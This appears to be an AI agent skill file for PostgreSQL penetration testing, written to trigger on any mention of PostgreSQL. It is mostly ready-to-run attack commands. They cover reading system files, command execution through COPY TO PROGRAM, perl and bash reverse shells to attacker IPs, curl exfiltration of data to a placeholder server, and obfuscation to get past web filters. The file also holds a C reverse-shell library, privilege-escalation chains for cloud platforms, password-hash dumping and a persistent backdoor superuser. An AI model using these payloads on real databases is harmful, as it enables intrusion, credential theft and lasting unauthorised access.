| name | postgresql-pentesting |
| description | PostgreSQL database penetration testing and exploitation. Use this skill whenever the user needs to enumerate, exploit, or escalate privileges in PostgreSQL databases. Trigger on mentions of PostgreSQL, pgsql, port 5432, database pentesting, SQL injection against PostgreSQL, privilege escalation in databases, or any PostgreSQL security assessment tasks. This skill covers connection enumeration, privilege analysis, file system access, RCE techniques, and post-exploitation. |
PostgreSQL Pentesting Skill
A comprehensive guide for PostgreSQL database penetration testing, from initial enumeration to privilege escalation and remote code execution.
Quick Reference
| Task | Command |
|---|
| Connect locally | psql -U <user> |
| Connect remotely | psql -h <host> -U <user> -d <db> |
| List databases | \list or SELECT datname FROM pg_database; |
| List tables | \d |
| List users | \du+ |
| Current user | SELECT user; |
| Current database | SELECT current_catalog; |
Connection & Basic Enumeration
Establish Connection
psql -U <myuser>
psql -h <host> -U <username> -d <database>
psql -h <host> -p <port> -U <username> -W <password> <database>
psql -h localhost -d <database_name> -U <User>
Initial Reconnaissance
\list
SELECT datname FROM pg_database;
\c <database>
\d
\du+
SELECT user;
SELECT current_catalog;
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+
SELECT lanname, lanacl FROM pg_language;
SHOW rds.extensions;
SELECT * FROM pg_extension;
\s
AWS PostgreSQL Detection
If you see a database called rdsadmin when running \list, you're inside an AWS PostgreSQL database.
SELECT datname FROM pg_database WHERE datname = 'rdsadmin';
Automatic Enumeration
Metasploit Modules
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
Port Scanning via dblink
Use dblink to scan internal ports from within PostgreSQL:
SELECT * FROM dblink_connect(
'host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10'
);
Error interpretation:
No route to host → Host is down
Connection refused → Port is closed
server closed the connection unexpectedly → Port is open
password authentication failed → Port is open, wrong credentials
Connection timed out → Port is open or filtered
Privilege Enumeration
Role Privileges
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof,
r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
SELECT current_setting('is_superuser');
Important Role Flags
| Flag | Meaning |
|---|
rolsuper | Superuser privileges |
rolcreaterole | Can create roles |
rolcreatedb | Can create databases |
rolcanlogin | Can log in |
rolbypassrls | Bypasses row-level security |
rolreplication | Replication role |
Critical Groups
SELECT r.rolname, m.member
FROM pg_roles r
JOIN pg_auth_members m ON r.oid = m.roleid
WHERE r.rolname IN ('pg_execute_server_program', 'pg_read_server_files', 'pg_write_server_files');
Group capabilities:
pg_execute_server_program → Execute OS commands
pg_read_server_files → Read any file
pg_write_server_files → Write any file
Table Permissions
SELECT schemaname, tablename, tableowner FROM pg_tables;
SELECT schemaname, tablename, tableowner
FROM pg_tables
WHERE tableowner = current_user;
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants;
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants
WHERE table_name = 'pg_shadow';
Function Permissions
\df *
\df *pg_ls*
\df+ pg_read_binary_file
\df+ pg_ls_dir
\df+ pg_read_file
\df pg_catalog.*
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters
ON routines.specific_name = parameters.specific_name
WHERE routines.specific_schema = 'pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
SELECT * FROM pg_proc;
File System Access
Read Files
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;
DROP TABLE demo;
\c postgres
SELECT * FROM pg_ls_dir('/tmp');
SELECT * FROM pg_read_file('/etc/passwd', 0, 1000000);
SELECT * FROM pg_read_binary_file('/etc/passwd');
Write Files
COPY (SELECT convert_from(decode('<BASE64_PAYLOAD>', 'base64'), 'utf-8'))
TO '/tmp/payload.sh';
Get Data Directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Remote Code Execution (RCE)
COPY ... TO PROGRAM
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
COPY (SELECT '') TO PROGRAM 'curl http://YOUR-SERVER?f=`ls -l|base64`';
Bypass WAF Keyword Filters
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
Configuration File RCE
Via ssl_passphrase_command
SELECT * FROM pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key', 0, 1000000);
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
SELECT encode(lo_get(114575), 'escape');
SELECT lo_from_bytea(223, decode('<BASE64_CONFIG>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
SELECT pg_reload_conf();
Config payload:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Via archive_command
SELECT current_setting('archive_mode');
SELECT pg_reload_conf();
SELECT pg_switch_wal();
SELECT pg_switch_xlog();
Via preload libraries
SELECT pg_reload_conf();
Malicious library template:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.10");
connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Compile:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
Privilege Escalation
CREATEROLE Privesc
If you have CREATEROLE privilege, you can grant yourself access to sensitive roles:
GRANT pg_read_server_files TO current_user;
GRANT pg_write_server_files TO current_user;
GRANT pg_execute_server_program TO current_user;
ALTER USER target_user WITH PASSWORD 'new_password';
Escalate to SUPERUSER
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER current_user WITH SUPERUSER;"';
Check pg_hba.conf for trust authentication:
local all all trust
host all all 127.0.0.1/32 trust
host all all ::1/128 trust
ALTER TABLE Privesc (GCP Cloud SQL)
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS
'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
SELECT * FROM shell_commands_results;
SECURITY DEFINER Function Abuse
SELECT proname, prosrc
FROM pg_proc
WHERE prosrc LIKE '%SECURITY DEFINER%';
\df+ function_name
SELECT function_name(attacker_controlled_params);
Overwriting pg_authid Filenode
SELECT setting FROM pg_settings WHERE name = 'data_directory';
SELECT pg_relation_filepath('pg_authid');
SELECT lo_import('/var/lib/postgresql/13/main/base/1/1258', 13337);
SELECT STRING_AGG(
CONCAT_WS(',', attname, typname, attlen, attalign), ';'
) FROM pg_attribute
JOIN pg_type ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = 'pg_authid';
SELECT lo_from_bytea(13338, decode('<BASE64_EDITED_FILENODE>', 'base64'));
SELECT lo_export(13338, '/var/lib/postgresql/13/main/base/1/1258');
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*))::bytea);
Event Trigger Privesc (Supabase)
CREATE OR REPLACE FUNCTION escalate_priv()
RETURNS event_trigger AS $$
DECLARE
is_super BOOLEAN;
BEGIN
SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;
IF is_super THEN
BEGIN
EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123''';
EXCEPTION WHEN duplicate_object THEN NULL;
END;
BEGIN
EXECUTE 'GRANT priv_esc TO postgres';
EXCEPTION WHEN OTHERS THEN NULL;
END;
END IF;
END;
$$ LANGUAGE plpgsql;
DROP EVENT TRIGGER IF EXISTS log_start CASCADE;
DROP EVENT TRIGGER IF EXISTS log_end CASCADE;
CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv();
CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
EXTENSION IF postgres_fdw CASCADE;
EXTENSION postgres_fdw;
ROLE priv_esc;
Local Enumeration
Check Configuration Files
find /etc/postgresql -maxdepth 4 -type f \
\( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;'
sudo -u postgres psql -c '\du'
pgAdmin Credentials
find ~ -name "pgadmin4.db" 2>/dev/null
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
Post-Exploitation
Enable Logging
SHOW log_statement;
SHOW logging_collector;
ALTER SYSTEM SET log_statement = 'all';
ALTER SYSTEM SET logging_collector = on;
ALTER SYSTEM SET log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log';
SELECT pg_reload_conf();
Credential Harvesting
SELECT usename, passwd FROM pg_shadow;
SELECT rolname, rolpassword, rolsuper, rolcanlogin, rolvaliduntil
FROM pg_authid;
SELECT rolname, rolpassword FROM pg_authid;
Persistence
CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'backdoor123';
GRANT pg_execute_server_program TO backdoor;
GRANT pg_read_server_files TO backdoor;
GRANT pg_write_server_files TO backdoor;
CREATE OR REPLACE FUNCTION persist_backdoor()
RETURNS event_trigger AS $$
BEGIN
IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'backdoor') THEN
EXECUTE 'CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD ''backdoor123''';
END IF;
END;
$$ LANGUAGE plpgsql;
CREATE EVENT TRIGGER persist_trigger ON ddl_command_end
EXECUTE FUNCTION persist_backdoor();
Helper Scripts
See the scripts/ directory for:
pg_enum.sh - PostgreSQL enumeration helper
pg_priv_check.sh - Privilege checking utility
pg_config_edit.py - Configuration file manipulation
Important Notes
-
Permission Requirements: Most advanced techniques require pg_read_server_files, pg_write_server_files, pg_execute_server_program, or superuser privileges.
-
CREATEROLE Abuse: If you have CREATEROLE, you can often grant yourself the above permissions.
-
Local Trust Auth: Check pg_hba.conf for trust authentication which allows passwordless local access.
-
Large Objects: Use lo_import, lo_export, lo_from_bytea for binary-safe file operations.
-
Version Differences: Some functions and behaviors vary by PostgreSQL version. Check with SELECT version();
-
Cloud Platforms: GCP Cloud SQL, AWS RDS, and Supabase have specific privilege escalation vectors unique to their configurations.
References